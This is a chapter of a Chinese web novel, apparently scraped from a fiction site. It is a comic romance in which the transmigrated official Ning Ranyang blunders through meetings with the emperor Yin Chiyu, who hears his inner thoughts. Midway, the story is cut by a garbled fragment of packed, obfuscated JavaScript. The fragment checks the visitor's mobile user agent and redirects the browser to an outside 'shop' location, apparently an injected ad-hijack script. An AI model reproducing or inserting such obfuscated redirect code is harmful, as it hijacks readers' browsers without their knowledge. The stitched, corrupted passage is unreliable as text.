风竹小说 > 玄幻魔法 > 被疯批暴君听见心声后 > 4. 禁止宿主狗化主角攻

4. 禁止宿主狗化主角攻

    殷池誉几乎是想立刻冲出去,揪住宁冉阳的衣领,问明白一切。

    可当他踏出一只脚时,却见宁冉阳将衣袍系好,两手一摊,对着地面就开始:“gogogo。”

    go了半天,没见殷池誉出来,宁冉阳嘶了一声,喃喃道:“难道是因为我没用普通话?”

    他轻咳一声,再次“咯咯咯”的唤起来。

    殷池誉就这么躲在暗处,神情复杂的看着宁冉阳用唤鸡的法子唤了他半天,生生止住了想要出去的念头。

    —

    系统似是没想到宁冉阳找人的方法这么别致,电子音都带上了同情:【宿主,主角攻是人。】

    宁冉阳不以为意,【那咋了?我又没用唤狗的法子找他。】

    突然,宁冉阳灵机一动。

    对啊!

    ‘咯咯咯’不好使,他‘嘬嘬嘬’不就行了!

    他清了清嗓,正要‘嘬嘬嘬’,余光一瞥,乐了。

    假山后,一只靴子露出半个,从宁冉阳的角度,刚好看见他觊觎已久的金线龙纹。

    可不就是小皇帝嘛!

    宁冉阳假装没看见,缓步朝假山走,边说:“哎呀,陛下在吗?”

    “陛下?臣好像看见一只小狗。”

    系统:【禁止宿主狗化主角攻。】

    白天还活蹦乱跳的系统,现在变得这么无趣,着实让宁冉阳心累。

    他叹息一声,【没事,小皇帝听不懂,不知道我是在骂他。】

    殷池誉,“......”

    很好,他现在听懂了。

    殷池誉突觉身心疲惫,想死的力气都没有了,开始后悔出现在这,他转身欲走,突然,身后响起一声惊呼——

    “陛下好巧,您在这啊!”

    巧吗?

    这里可是皇宫。

    殷池誉扯唇,吐/出一丝无语的笑。

    他走出假山,冷眼睥睨着宁冉阳。

    既然被发现,殷池誉也懒得藏了。他可是皇帝,有什么好怕的?

    宁冉阳虽做好心理准备,但殷池誉猛地一出来,还是吓了他一跳。

    宁冉阳抚着胸口,“陛下真是太英明神武了,吓死臣了。”

    “......”

    眼见着天快大亮,殷池誉不欲与他多废话:“宁卿,现在是宵禁,谁准你进来的?”殷池誉眯起眼,“或是有人冒着杀头的罪,将你送入宫?”

    原本,殷池誉是想直接询问巫术,但一切尚未明朗,他还不想和宁冉阳撕破脸。

    宁冉阳正眼巴巴看着殷池誉靴子上的龙纹呢,压根没听清,只听见殷池誉说:“巴拉巴拉,你,巴拉巴拉入宫,人,送来。”

    自动过滤一遍,就变成了——你,入宫。

    宁冉阳大骇:“臣是男子,怎能入宫?”

    殷池誉:“?”

    意识到这是一个教育暴君成为明君,并成功保住自己屁╱股的好机会,宁冉阳来了精神,袖子一撸,在殷池誉面前比比划划。

    “你看啊,臣是男子对不对?”宁冉阳秀起自己没几两肉的肱二头肌,“臣这么勇猛的男儿,就应该留在朝堂上,为陛下鞠躬尽瘁,哪能...额,跟陛下do啊!”

    “而且do的时候,不能......”宁冉阳抬头望天。

    殷池誉跟着抬头。

    除了一轮弯月,什么都没有。

    这话有点烫嘴,宁冉阳抿唇抿唇又抿唇,最后道:“野╱战啊!”

    殷池誉:。

    宁冉阳说了这么多,他一句没听懂。

    但他看出,宁冉阳似乎很执着于跟他讲不要do。

    白日里被宁冉阳戏耍的情景历历在目,殷池誉嘴角上勾。

    宁冉阳眨眨眼:“懂了吗?陛下?”

    殷池誉点头。

    宁冉阳轻松一笑。

    看来这任务还挺简单的,看来他马上就能......

    “只要do尽天下,朕便能随心所欲了吧?”

    宁冉阳:!!!

    他,他是突然聋了吗?

    不然怎么听见这么可怕的话。

    殷池誉居然要干遍天下?!!!

    —

    宁冉阳简直难以相信殷池誉居然会说出这种话。

    他抖着手,刚要再说两句,忽然,身后传来惨叫声,还伴随着‘鬼啊!’的尖叫。

    宁冉阳一激灵,赶紧往殷池誉身边靠,也顾不得这人是疯批暴君了。

    然而,那尖叫声更大了,模糊中还有一句:“陛下,快离那白衣鬼远点啊!”

    宁冉阳上下左右三百六十度看了一圈,也没看见鬼,直到和殷池誉对视,宁冉阳才像明白过来什么,缓缓低头。

    视线中,一身白衣空荡的挂在身上,沐浴过后未打理的发丝自然缠绕在一起,随着他低头,盖住了半张脸。

    借着池面,宁冉阳看清了自己苍白的面色。

    哦,原来鬼是他自己。

    一秒没浪费,宁冉阳咚一下,晕在殷池誉怀里。

    —

    翌日,殷池誉在御花园大战被鬼附身的宁冉阳的谣言不胫而走。

    一整个早朝,叽叽喳喳全是在讨论宁冉阳离奇出现在皇宫的,吵得殷池誉头疼。

    但不管大臣们吵得多凶,殷池誉却是一句没听进去。

    昨晚,宁冉阳倒进他怀里时,他下意识扶住了腰。

    那时,殷池誉脑中只有一个想法——原来还有人的腰能这么细。

    心中莫名生出股烦躁,殷池誉不耐地捻了捻指尖。

    身旁侍候的小贵子极其有眼色,拂尘一挥,“退朝!”

    话落,那些大臣们你看看我我看看你,又看看冷脸的殷池誉,麻溜跪地。

    殷池誉挑眉,却没说什么,起身离开。

    出了大殿,小贵子立马弓着腰去整理殷池誉的衣摆,边说:“陛下,方才偏殿来人了,说宁侍郎快醒了。”

    殷池誉看他一眼,没说话。

    福贵昨晚被吓丢了魂,殷池誉特赐他休息,今日当值的便换成了他的徒弟,小贵子。

    原以为这人是个憨货,没想到还挺有眼色。

    只是一上来就跟他说宁冉阳,真当他多稀罕不成?

    殷池誉的脸色冷了几分。

    小贵子敏锐发觉殷池誉的情绪不对,提宁冉阳的话到嘴边又转了个弯,“陛下,咱回寝殿休息?”

    殷池誉却是拂袖,朝东边走去:“不必,朕去看看宁卿。”

    小贵子:......

    师父,这就是多变的老虎吗?

    —

    宁冉阳做了个梦。

    梦里,他顺利完成了任务,拿到千亿奖金回到了现实世界,成为了每天把钱存在银行里光拿利息就能花一辈子的富豪。

    他乐坏了。

    梦里他一路撒钱,路过的狗来了都得被他镶一颗金牙,就连马桶他都换成带金边的,烤鸭他都得蘸点金箔再吃。

    正当他马上要吃到烤鸭时,一股冷风卷进来,把他的梦吹跑了。

    片刻后,他听到了殷池誉的声音。

    “他可曾醒过?”

    小贵子:“未曾,听伺/候的小太监说,倒是嘴里嘀咕了些什么,听不真切,只知道一个鸭字。”

    殷池誉扶额冷笑。

    35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16960942|193304||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    >突然,他听见宁冉阳心声:【要是真有一只烤鸭就好了,让我/干什么我都愿意。】

    殷池誉眼中闪过一丝狡黠。

    他招手将小贵子唤到身前,对他耳语了几句。

    片刻后,一小太监端着只烤鸭,站在门口,左手抄着一把扇子,朝着床榻的位置卖力扇风。

    —

    宁冉阳是被这股香味彻底熏醒的。

    他眼睛迷糊睁开一条缝,便看见殷池誉背对着他,跟棵松柏似的,就是龙袍上的金线有点秃噜了,能给他两根就好了。

    听见宁冉阳的心声,殷池誉冷笑一声。

    这种时候还不忘记惦记他。

    他沉声,瞪了眼小太监:“力气这么小,我短你吃穿不成?”

    闻言,小太监立马加快速度,快到手都扇出了残影。

    阵阵香味飘来,宁冉阳几乎是用尽了所有理智,才没有饿虎扑食。

    可惜,有心的人不用教。

    在殷池誉无声的威逼下,小太监越扇越快,香味也逐渐浓郁。

    宁冉阳的心声也从‘我不饿’,变成了‘我要吃一整头猪’。

    就在宁冉阳饿到极点,殷池誉忽然走到床边,从小太监手里拿过烤鸭,放在宁冉阳床头。

    “宁卿,你的口水流出来了。”

    宁冉阳大惊。

    他条件反射坐起来,两只手背在嘴边擦了又擦,什么都没有。

    宁冉阳:......

    年纪小就是玩的花。

    突然,宁冉阳反应过来不对劲。

    自己刚刚是在装睡吧...

    那他这岂不是欺君?!!!

    比起宁冉阳的惊悚,殷池誉要自然许多。

    “宁卿为朕鞠躬尽瘁,不惜被鬼附身也要来护驾,思来想去,朕也没什么能给的。”

    “听闻宁卿素来喜欢去御香楼鉴定味道,特地买来一只,方便宁卿好好品。”殷池誉咬字极重,听起来很是故意。

    宁冉阳这会儿已经放松下来,他狐疑地看了看烤鸭,又转头盯着殷池誉:【这小皇帝,难不成是在里面下了巴豆,想看我一泻千里?】

    殷池誉沉默了。

    宁冉阳貌似比他想的...还要跳脱。

    他挥手,立即有太监贴心的送上碗白粥。

    “既然宁卿不喜欢朕赏赐的烤鸭,那就喝粥吧。”

    粥碗被殷池誉强硬塞进手里,宁冉阳懵懵地坐在床上,眨眨眼,鼻尖是烤鸭的香味,他低头,看着一点荤腥都没有的白粥,怒了。

    正要暴起,却听殷池誉问——

    “昨晚你是怎么到皇宫来的。”

    宁冉阳被怒火冲昏了头脑,随口接道:“飞进来的啊,咻一下就来了。”

    说完,他愣住。

    自己好像暴露了什么...

    宁冉阳心里七上八下,穿书前,他看过不少小说电视剧,一般他这种自爆身份的小炮灰,多半是要祭天的。

    他攥紧筷子,手心全是冷汗。

    然而,下一秒,就听殷池誉说:“嗯,朕知道了。”

    “宁卿辛苦了。”

    宁冉阳,“???”

    这,这就完了?!

    不是应该把他拉出去大卸八块,刷上烤肉酱,撒点芝麻盐,晒个七七四十九天吗?

    宁冉阳震惊地看向殷池誉。

    却恰好对上殷池誉幽深的黑眸,深不见底,黑眸映出他此刻衣襟半开的模样,随着殷池誉颤动眼睫,宁冉阳跟随他移动目光,最后定格在他的...胸口上?!

    宁冉阳心头猛地一动。

    殷池誉不会真的看上他了吧!